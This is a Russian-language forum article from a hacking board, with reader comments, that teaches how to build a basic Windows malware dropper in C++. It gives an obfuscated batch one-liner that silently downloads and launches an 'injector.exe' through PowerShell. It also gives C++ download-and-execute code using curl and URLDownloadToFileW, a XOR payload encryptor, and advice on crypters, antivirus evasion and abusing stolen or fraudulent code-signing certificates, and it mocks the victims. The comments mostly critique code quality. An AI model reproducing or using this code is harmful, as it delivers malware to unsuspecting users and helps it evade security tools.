• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Пишем свой простейший дроппер на плюсах

Barmaleus

(L2) cache
Пользователь
Регистрация
11.08.2023
Сообщения
403
Реакции
165
Гарант сделки
11
Депозит
0.0001
Автор Barmaleus
Источник https://xss.pro

Дропперы и лоадеры - это как два брата-акробата в цирке вредоносного софта. Вроде похожи, но трюки у них разные.

Дроппер - это типа засланный казачок. Его задача - пробраться в систему и притащить с собой что-нибудь пакостное. Работает он так: сначала прикидывается ветошью, типа обычный файл. Но как только юзер на него клюнет - тут-то все и начинается. Дроппер вытаскивает из своих недр всякую гадость и раскидывает ее по системе. Прям как Санта-Клаус, только вместо подарков - всякая дрянь. +

Лоадер же - это скорее как дистанционный пульт. Его дело - загрузить и запустить вредоносный код, который уже есть в системе или скачивается откуда-то из сети. Главное отличие в том, что дроппер обычно оставляет следы на диске. Он как бы говорит: "Я тут был, гадость оставил, привет от меня". Лоадер же может работать только в памяти, не оставляя следов на жестком диске. Он как призрак - пришел, нашкодил и исчез.

Что касается обнаружения, то тут все интересно. Дропперы часто используют всякие хитрые техники маскировки, чтобы антивирусы их не спалили. Они могут прикидываться легальными программами или использовать запутанный код. Лоадеры, особенно те, что работают только в памяти, могут быть как проще, так и сложнее для обнаружения. С одной стороны, их простая структура может их выдать. С другой - если они не оставляют следов на диске, то поймать их сложнее.

Суть работы дроппера проста и эффективна, особенно если речь идет о массовом распространении. Ты просто создаешь программу, подписываешь её и используешь крипт твоего зверька за 30$ чтобы обойти антивирусы и меняешь его каждый раз, при этом программа будет казаться безобидной и на всяких вирустоталах, anyrunах не собирать много детектов особенно если есть свой сервер и EV / OV подпись.

Что такое эта ваша EV подпись? ЕВ подпись, или как её там, Extended Validation - это типа крутая цифровая подпись для софта. Обычно её юзают нормальные разрабы, чтобы показать, что их прога честная. Но вот в чём прикол: некоторые хитрые малвейр девы тоже пытаются эту фишку провернуть. Они как бы говорят системе: "Эй, смотри, у меня тут всё легально, чесслово!" И вот как они это делают:
  • Крадут сертификаты у зазевавшихся компаний. Типа, нашли, прибрали к рукам - и вперёд.
  • Находят на паблик источниках и потом крякают паролеки и ключеки для них.
  • Создают левые конторы и через них делают сертификаты. Хитро, да? И стоит не особо дорого особенно когда существуют дропы)
  • Ищут дырки в системе выдачи этих самых сертификатов. Нашёл слабое место - и готово. - это скорее к самым гениальным.
Самое ржачное, что многие на это ведутся. Видят подпись и думают: "О, всё пучком!" А на деле - засада полная. Но вы наверное думаете раз всё так легко и просто почему всё так сложно? - ответ очень прост, найти хорошего дропа или же сбрутить сертификат не может каждый, для этого нужно оборудование, денежки причём нефиговые по меркам СНГ стран.

Вернёмся к дропперам, а как они так долго живут и какой у них принцип работы?

Работает это дело так: пользователь запускает файл, думая, что это обычная прога. А на самом деле дроппер активируется и начинает свою грязную работу. Он вытаскивает / скачивает из себя вредоносный код и раскидывает его по системе, как будто семена сеет. И всё это происходит тихо, без лишнего шума. Прикол в том, что люди до сих пор на это ведутся, сами распаковывают архивы с паролем даже если видно что вес архива условный 1мб, а файл внутри 750мб, как говорится лох не мамонт.
Конечно, сейчас уже не те времена, когда любой школьник мог сварганить дроппер на коленке. Антивирусы не спят, да и пользователи потихоньку учатся быть осторожнее. Но это не значит, что тема умерла. Наоборот, разработчики вредоносов постоянно изобретают что-то новенькое. То в память залезут, то в системные процессы закопаются - в общем, проявляют лютую изобретательность. Для тех, кто в теме, главное - всегда быть на шаг впереди. Такова жизнь в мире малвари.
В общем, дропперы - это как классика жанра в мире вредоносного ПО. Вроде и старьё, а всё равно работает, только немного меняется способ выполнения / скачки / запуска малварика.

Какие бывают виды дропперов
  1. Однофазные дропперы: Эти ребята - самые простые. Работают в один заход: запустился, скинул вредоносную нагрузку, и привет. Быстро и без затей.
  2. Многофазные дропперы: Эти похитрее будут. Работают в несколько этапов, как в квесте. Сначала один компонент запускается, потом другой, и так далее. Сложнее отследить, что к чему.
  3. Даунлоадеры: Эти не тащат с собой вредоносный код, а скачивают его из сети по ходу дела. Меньше подозрений вызывают, зараза.
  4. Инсталляторы:Маскируются под легальные установщики программ. Типа ставишь нормальную прогу, а на деле получаешь бонусом всякую дрянь.
  5. Бандл-дропперы:Эти ребята - как набор "все включено". Несут в себе сразу несколько разных вредоносных программ. Прям шведский стол для хакера.
  6. Филлес дропперы:Хитрые штуки, которые внедряют вредоносный код в уже существующие файлы на компе. Типа, был нормальный файл, а стал зараженный.
  7. Стелс-дропперы:Мастера маскировки. Используют разные техники, чтобы скрыть свое присутствие от антивирусов и систем безопасности.
  8. Полиморфные дропперы:Эти вообще каждый раз разные. Меняют свой код при каждом запуске, чтобы их сложнее было поймать.
  9. Мета-дропперы:Продвинутая версия. Могут анализировать систему и решать, какой именно вредоносный код лучше всего подойдет для данного компа.
Выбор ЯП для дроппера
В основном для дропперов популярны такие языки как
  • C# простой и удобный, всё под рукой код напишет даже школьник, из минусов всегда будет светиться как ёлка, требует dotnet и прочее.
  • C / C подобные(Rust,Golang,C++ ...) встречал множество дропперов на нём в целом язык довольно не плохой и есть все библиотеки, из минусов можно выделить сложную очистку от статик детектов.
  • JS / VB в основном используются в офисных файлах для доставки нагрузки, в макросах и т.д. , минусов почти нету, работают везде.
Я же выбрал писать на плюсах, потому что мне так удобно, но в целом если честно я выбрал бы java для такого, ему бы требовалась jre которую можно было бы просто докачать(её вес в районе 140мб).
Простейший дроппер .bat с подгрузкой файла при помощи powershell
CoffeeScript:
@echo off
set "fileURL=URL"
set "fileName=in"j"ector.exe"
@powershell -NoP"r"o"f"ile -Executi"o"nPolic"y" Bypass -W"i"ndowStyle Hidden -C"o"mmand "I"nv"o"ke-WebReq"u"est %fileURL% -"O"ut"fi"le %fileName%; St"art-Process %fileName%"
Если писать дроппер такой как bat то можно особо не мучиться и не париться не за что, потому что есть batch обфускаторы и прочая полезная тулза для чистки файлов и вид примерно такой как выше, при помощи повершелла скачивается файл с урл, впоследствии запуская процесс, при обфускации данный скрипт показывает 2 детекта на virustotal.
Пишем свой простейший дроппер
Давайте замутим свой дроппер-самоделку и разберем, как эту шнягу можно сварганить. У меня в чердаке крутится пара идеек: можно юзануть ту полезняшку GoToMeeting из прошлого замеса, или сбацать дроппер-даунлоадер для запуска нашей хрени.
Ладно, погнали кодить эту дичь. Для начала надо решить, как и откуда будем тырить файлы. По-хорошему, нужен свой серв, чтобы собирать инфу о компе - там видюха, проц, память и прочая лабуда. Это чтоб отсеивать ботов и прочую шушеру. Но серв - это бабло, а нам нужно на халяву, быстро и без заморочек. Так что можно замутить многофазный дроппер, типа архив в архиве в архиве с автораспаковкой. Автозагрузку лепить не будем - дроппер должен отработать и свалить по-тихому.

Приступаем к написанию кода, буду использовать в качестве редактора Clion, компилятор будет mingw-llvm, можно юзать и visual studio с msvc, но как по мне она много весит и в целом неудобна для такого. Файл дропать будем в временную папку, пишем код на её получение.

Можно получить используя std::filesystem для удобства, но можно и используя WinAPI,
Код написанный с использованием WinAPI будем выглядеть следующим образом:
C++:
wchar_t* GetTemporaryPatch() {
    wchar_t tempPath[MAX_PATH];
    DWORD dwSize = MAX_PATH;
    if (!GetTempPathW(dwSize, tempPath)) {
        return nullptr;
    }
    return tempPath;
}
В нём MAX_PATH - максимальная длинна пути, dwSize размер, возвращаем пустоту если функция вызвана не правильно, а если правильно то возвращаем путь.
Код же с использованием filesystem будет выглядеть немного проще
C++:
std::filesystem::path GetTemporaryPath() {
    return std::filesystem::temp_directory_path();
}

Ну а дальше, раз уж мы мутим дроппер, который будет сейвить файлы на диск, давайте забабахаем методы для этого дела.

C++:
namespace FileUtils{
    std::string read_file_str(std::wstring path) {
        std::wifstream wfile = std::wifstream(path.c_str(), std::ios_base::binary | std::ios_base::ate);
        std::wstring file_data(wfile.tellg(), '\0');
        wfile.seekg(0);
        wfile.read((wchar_t *)file_data.data(), file_data.length());
        std::string data_ansi = {file_data.begin(),file_data.end()};
        return data_ansi;
    }
    bool write_to_file(const std::wstring& file_name, std::string data) {
        std::wofstream output_file = std::wofstream(file_name.c_str(), std::ofstream::binary);

        if (!output_file.good()) {
            return false;
        }

        std::wstring data_unicode = {data.begin(),data.end()};

        output_file.write(data_unicode.c_str(), data_unicode.length());

        output_file.close();

        return true;
    }
    bool write_to_filec(const std::wstring& file_name, std::string data) {
        std::ofstream output_file = std::ofstream(file_name.c_str(), std::ofstream::binary);

        if (!output_file.good()) {
            return false;
        }

        std::wstring data_unicode = {data.begin(),data.end()};

        output_file.write(data.c_str(), data.length());

        output_file.close();

        return true;
    }
}

Ну вот уже другое дело выглядит конечно неочень, но всё же сейвим и инклудаем futils.h.

Следующий этап - подкачка файла. Я предлагаю заюзать встроенный в винду CURL, можно было сделать и через csc, но мне чет в немогёшь. Так мы сможем грузить файлы без лишних заморочек.

Для начала получаем путь к папке винды, это нужно для получения пути к curl, везде будем юзать библиотеку строк с плюсов, потому что тоже упираемся в немогёшь.

C++:
std::wstring GetWindowsDirectoryW(){
    wchar_t windowsDirectory[MAX_PATH];
    if (GetWindowsDirectoryW(windowsDirectory, MAX_PATH) > atoi("1")) {
        return windowsDirectory;
    }
    return L"";
}

Делаем создание скрытого процесса и ожидание его заверешения.

C++:
int CreateProcessHiddenWait(std::wstring lpApplicationName, std::wstring lpCommandLine){
    STARTUPINFOW si;
    PROCESS_INFORMATION pi;

    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESHOWWINDOW; // Используем флаг STARTF_USESHOWWINDOW
    si.wShowWindow = SW_HIDE; // Скрываем окно консоли

    ZeroMemory(&pi, sizeof(pi));
    if (!CreateProcessW(lpApplicationName.data(), lpCommandLine.data(), NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
        return 0;
    }
    WaitForSingleObject(pi.hProcess,INFINITE);
    return 1;
}

Получем текст с URL. Получить текст без окна консоли для этого это ещё та задача, можно сделать вызов через system() но так же можно вызвать и при помощи вин апи получив тучу yara детектов на вт, его и выберем)

Код ниже демонстрирует скачку файла в директорию temp/installer.temp и в последствии его чтение, команда будет вида curl "url" -o "out" почему в ковычках? - потому, что имена у нас в ссылке на файл могут содержать / & и тд. , которые попросту не дадут нормально скачать файл, а так мы даём именно полный адрес в приложение.

C++:
std::string getFromUrl(std::string url){
    auto tempDirectory = std::filesystem::temp_directory_path();

    std::wstring separator = strWide("\"");

    std::wstring output_path =  std::wstring(tempDirectory / strWide("Installer.temp"));

    _wremove(output_path.c_str());

    std::wstring process_name = GetWindowsDirectoryW() + strWide("/System32/curl.exe");
    std::wstring output_name = strWide("-o ") + separator + output_path + separator;
    std::wstring space = L" ";
    std::wstring args = space + strWide(url) + space + output_name;

    STARTUPINFOW si;
    PROCESS_INFORMATION pi;

    ZeroMemory(&si, sizeof(si));
    int result = CreateProcessHiddenWait(process_name.data(), args.data());
    std::wifstream wfile = std::wifstream(output_path.c_str(), std::ios_base::binary | std::ios_base::in);
    if(wfile.fail() && result == 0){
        return getFromUrl(url);
    }
    std::string FileData = FileUtils::read_file_str(output_path);
    if(FileData.length() > 1){
        return FileData;
    }
    return getFromUrl(url);
}

Но код выше выглядит плохо и тригериться yara правилом и другими suspicious url download,
Командная строка содержит пути, которые обычно используются для хранения временных файлов или данных пользователя (%AppData%, %Public%, %Temp%, %tmp%, и т.д.).
Командная строка завершается на .dll, .gif, .jpeg, .jpg, .png, .temp, .tmp, .txt, .vbe, .vbs.
Если процесс curl.exe запущен с командной строкой, содержащей один из указанных путей или расширений файлов, это может указывать на детект на вирустотале. Например, если curl.exe используется для загрузки файла .exe в папку %Temp%.
1720172047779.png


Но так же можно сделать код ещё проще и подгружать нужную нам информацию с сервера при помоши urlmon библиотеки винды, а именно метода URLDownloadToFile.

C++:
std::string downloadFile(std::wstring url) {
    std::filesystem::path file = GetTemporaryPath() / "Request.data";
    URLDownloadToFileW(0,url.c_str(),file.c_str(),0,0);
    std::string fileData = FileUtils::read_file_str(file.c_str());
    return fileData;
}

Для шифрования пейлоада можно использовать различные алгоритмы такие как rc4, aes и т.д, , но мы ограничимься обычным xorом и base64, скорее всего сделаем компрессию в во второй части.

Намутим самопальный код шифратора с ключиком который в последствии будем читать из ресурсов или возможно даже с сервера.

C++:
std::string EncryptDecrypt(const std::string& input, int key) {
    std::string output = input;
    char a;
    key = rand() % 99;
    for(size_t i = 0; i < input.length(); ++i) {
        a = input[i];
        int b = static_cast<int>(a);
        b ^= key;
        a = static_cast<char>(b);
        output[i] = a;
    }
    return output;
}

Проверяем код urlmona правильно ли он сейвит файл как наш curl:

1720171335269.png

Как мы видим страничка читается, и сохраняется в файлик, который мы в последствии читаем.

Теперь напишем простой код исполнения и скачки без шифрации нагрузки.

1720172478923.png


Собственно самый простейший дроппер готов, это считай ядро для последующих фантиков и плюшек, которые мы будем добавлять. Ещё осталось сделать очень много для того чтобы пойти на путь к успеху и обойти хотя бы виндовс дефендер, но в скором времени это реализуем.
C++:
#include <string>
#include <fstream>
#include <windows.h>
#include <filesystem>

#define USE_WINAPI false


std::filesystem::path GetTemporaryPath() {
    return std::filesystem::temp_directory_path();
}
std::wstring strWide(const std::string& str) {
    std::wstring wideStr(str.begin(), str.end());
    return wideStr;
}
std::wstring GetWindowsDirectoryW(){
    wchar_t windowsDirectory[MAX_PATH];
    if (GetWindowsDirectoryW(windowsDirectory, MAX_PATH) > atoi("1")) {
        return windowsDirectory;
    }
    return L"";
}

int wmain() {
    std::wstring url = L"http://127.0.0.1/file.exe";
    std::filesystem::path file = GetTemporaryPath() / "Request.data";
    URLDownloadToFileW(0,url.c_str(),file.c_str(),0,0);
    std::wstring command = L"start ";
    command += file.c_str();
    _wsystem(command.c_str());
    return 0;
}

Следующее продолжение во второй части, там добавим шифрацию пейлоада и уже в последствии перейдем к написанию своего сервера и сбору инфы, скрытие вызовов. шифрация строк, способы создания процесса и тд.
 
Последнее редактирование:
Статья хорошая для совсем уж прям новичков, отмечу лишь что используемый оверлоад temp_directory_path выкидывает исключения и оно никак не хандлится, короче тут потенциальное уб + URLDownloadToFile насколько я помню антивирусы очень не любят. Сам факт его использования уже красный флаг, причиной этому наверное является тот факт, что его юзает в основном малварь, и лично я за всё время тоже ниразу не видел, чтобы белый софт юзал этот апи. ¯\_(ツ)_/¯
Ну а в остальном всё более менее нормально, для новичков самое то.
 
Статья хорошая для совсем уж прям новичков, отмечу лишь что используемый оверлоад temp_directory_path выкидывает исключения и оно никак не хандлится, короче тут потенциальное уб + URLDownloadToFile насколько я помню антивирусы очень не любят. Сам факт его использования уже красный флаг, причиной этому наверное является тот факт, что его юзает в основном малварь, и лично я за всё время тоже ниразу не видел, чтобы белый софт юзал этот апи. ¯\_(ツ)_/¯
Ну а в остальном всё более менее нормально, для новичков самое то.
Да, я ж написал потихоньку эволюционировать будем в этапа 3-4 впоследствии дойдем до своего сервера и сокетов думаю, но скорее всего сделаю саморекомпилирующийся код и буду через csc вызываться, в белом софте проканывает. А так спасибо за поддержку.

Тут главное поняли чтобы как работает, скрипт батника не просто так привел, видел реализацию запуска в памяти и имею коды для этого, на него не тригериться + в бублике скорее всего это будет.
 
std::wstring strWide(const std::string& str) { std::wstring wideStr(str.begin(), str.end()); return wideStr; }
а чё? так можно было?
а я, дурак старый, опять козу на лисапеде сочинил
C++:
    std::wstring StringUtils::string_to_wide_string(const std::string& utf8String)
    {
#ifdef _WIN32
        if (utf8String.empty())
        {
            return L"";
        }
        // utf-16 need
        const auto sizeNeeded = MultiByteToWideChar(CP_UTF8, 0, utf8String.data(), static_cast<int>(utf8String.size()),
                                                    nullptr, 0);
        if (sizeNeeded <= 0)
        {
            throw std::runtime_error(std::format("Exception occurred: Failure to convert its message text using MultiByteToWideChar. Reason: {}", ErrorHandler::get_last_error_message()));
        }

        std::wstring result(sizeNeeded, 0);
        MultiByteToWideChar(CP_UTF8, 0, utf8String.data()
                            , static_cast<int>(utf8String.size()), result.data(), sizeNeeded);
        return result;
#elif __linux__
        std::wstring_convert<std::codecvt_utf8_utf16<wchar_t>, wchar_t> convert;
        return convert.from_bytes(utf8String);

#endif
    }
 
а чё? так можно было?
а я, дурак старый, опять козу на лисапеде сочинил
C++:
    std::wstring StringUtils::string_to_wide_string(const std::string& utf8String)
    {
#ifdef _WIN32
        if (utf8String.empty())
        {
            return L"";
        }
        // utf-16 need
        const auto sizeNeeded = MultiByteToWideChar(CP_UTF8, 0, utf8String.data(), static_cast<int>(utf8String.size()),
                                                    nullptr, 0);
        if (sizeNeeded <= 0)
        {
            throw std::runtime_error(std::format("Exception occurred: Failure to convert its message text using MultiByteToWideChar. Reason: {}", ErrorHandler::get_last_error_message()));
        }

        std::wstring result(sizeNeeded, 0);
        MultiByteToWideChar(CP_UTF8, 0, utf8String.data()
                            , static_cast<int>(utf8String.size()), result.data(), sizeNeeded);
        return result;
#elif __linux__
        std::wstring_convert<std::codecvt_utf8_utf16<wchar_t>, wchar_t> convert;
        return convert.from_bytes(utf8String);

#endif
    }
Да можно было с спп11 вроде даже, так как ты я тоже пытался в году так 23 но это такой геморрой, всеравно все методы в СТД встроены при статик линковке и смысла от такого кода нету. Но у тебя лучше тем что без ошибок и хэндлы ерроров есть.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
а чё? так можно было?
ну большая часть тестов не пройдет, так что нельзя :)
если там не ascii, то это херь не будет работать правильно. Ну или по крайней мере не должна.
В с++ делается через wstring_convert.
На чистом винапи через MultiByteToWideChar.

Barmaleus почитай этот тред https://stackoverflow.com/questions/2573834/c-convert-string-or-char-to-wstring-or-wchar-t
 
ну большая часть тестов не пройдет, так что нельзя :)
если там не ascii, то это херь не будет работать правильно. Ну или по крайней мере не должна.
В с++ делается через wstring_convert.
На чистом винапи через MultiByteToWideChar.

Barmaleus почитай этот тред https://stackoverflow.com/questions/2573834/c-convert-string-or-char-to-wstring-or-wchar-t
Да знаю про это, но дело в том что если скомпилировать на плюсах через мингв и линковщик с линукса то получается что оно встроенно, потом зайди в диассемблере посмотреть / исходники компилера и увидеть что есть то же самое что wstring_convert, насчёт msvc не знаю. Про аську это да, поэтому можно юзать base64, иначе всё в разнос пойдёт, в целом проблема от этого не большая, но решаемая. Учту это дальше. В разнос идут пустые символы, оно их скипает и не считает правильно длинну. Так как 90% здесь компилит на винда то добавлю как есть. Спасибо в целом.
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Пишут что статья для новичков, но так как плюсы я знаю только на уровне что то изменить, хотя очень хорошо знаю шарп, для меня это шедевр, спс.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
В нём MAX_PATH - максимальная длинна пути, dwSize размер, возвращаем пустоту если функция вызвана не правильно, а если правильно то возвращаем путь
Ты возвращает не путь, а указатель на стек, который будет невалидным после выхода из функции.
 
Позвольте ещё поворчать, по-стариковски.
Статья для новичков. Это значит, что они будут копипастить от и до. А потом будут это читать. А у тебя тут сразу 3 стиля именования функций: и PascalCase и camelCase, и, даже, snake_case. На работоспособность кода это не влияет. Но вот на неокрепшие умы начинающих разработчиков - очень даже. А потом они уже будут говнякать свой код, а кому-то придется его читать и материться.
 
Последнее редактирование:
C++:
std::wstring_convert<std::codecvt_utf8_utf16<wchar_t>, wchar_t> convert;
return convert.from_bytes(utf8String);
👍 Замечание хорошее, а вот пример не очень, wstring_convert уже как несколько лет deprecated и будет удален в C++ 26. Ну и конкретно в данной статье "конвертация" всегда из ascii, поэтому это приемлимый вариант, но название функции наверное действительно стоило выбрать другое, а не strWide (да и вообще тут с названиями как-то не очень, каша одним словом), ибо это вводит в заблуждение.
Опять же не забывайте, что статья для новичков и тут можно много к чему придраться, от таких вот ошибок до использования atoi непонятно для чего: if (GetWindowsDirectoryW(windowsDirectory, MAX_PATH) > atoi("1")). Критика критикой, но хотя бы не так резко, давайте будем немного терпиливее к тем, кто тратит своё время на написание статей. =)
 
Ты возвращает не путь, а указатель на стек, который будет невалидным после выхода из функции.
Пасиб, я просто убитый день так второй не сплю + жара в районе 50.
 
👍 Замечание хорошее, а вот пример не очень, wstring_convert уже как несколько лет deprecated и будет удален в C++ 26. Ну и конкретно в данной статье "конвертация" всегда из ascii, поэтому это приемлимый вариант, но название функции наверное действительно стоило выбрать другое, а не strWide (да и вообще тут с названиями как-то не очень, каша одним словом), ибо это вводит в заблуждение.
Опять же не забывайте, что статья для новичков и тут можно много к чему придраться, от таких вот ошибок до использования atoi непонятно для чего: if (GetWindowsDirectoryW(windowsDirectory, MAX_PATH) > atoi("1")). Критика критикой, но хотя бы не так резко, давайте будем немного терпиливее к тем, кто тратит своё время на написание статей. =)
atoi ,для будущего и сисколов 😐 и там остался от них, убрать его забыл можно вообще было красиво сделать эту проверку, но оставим пока так. Обфускцию строк тоже добавим.
 
Последнее редактирование:
, а вот пример не очень, wstring_convert уже как несколько лет deprecated и будет удален в C++ 26.
таки да, но и этому коду уже лет 7 точно. Кочует из проекта в проект, дойдут руки - перепишу. К тому же под винду у меня совсем другая реализация.
 
Критика критикой, но хотя бы не так резко, давайте будем немного терпиливее к тем, кто тратит своё время на написание статей. =)
поддерживаю полностью.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх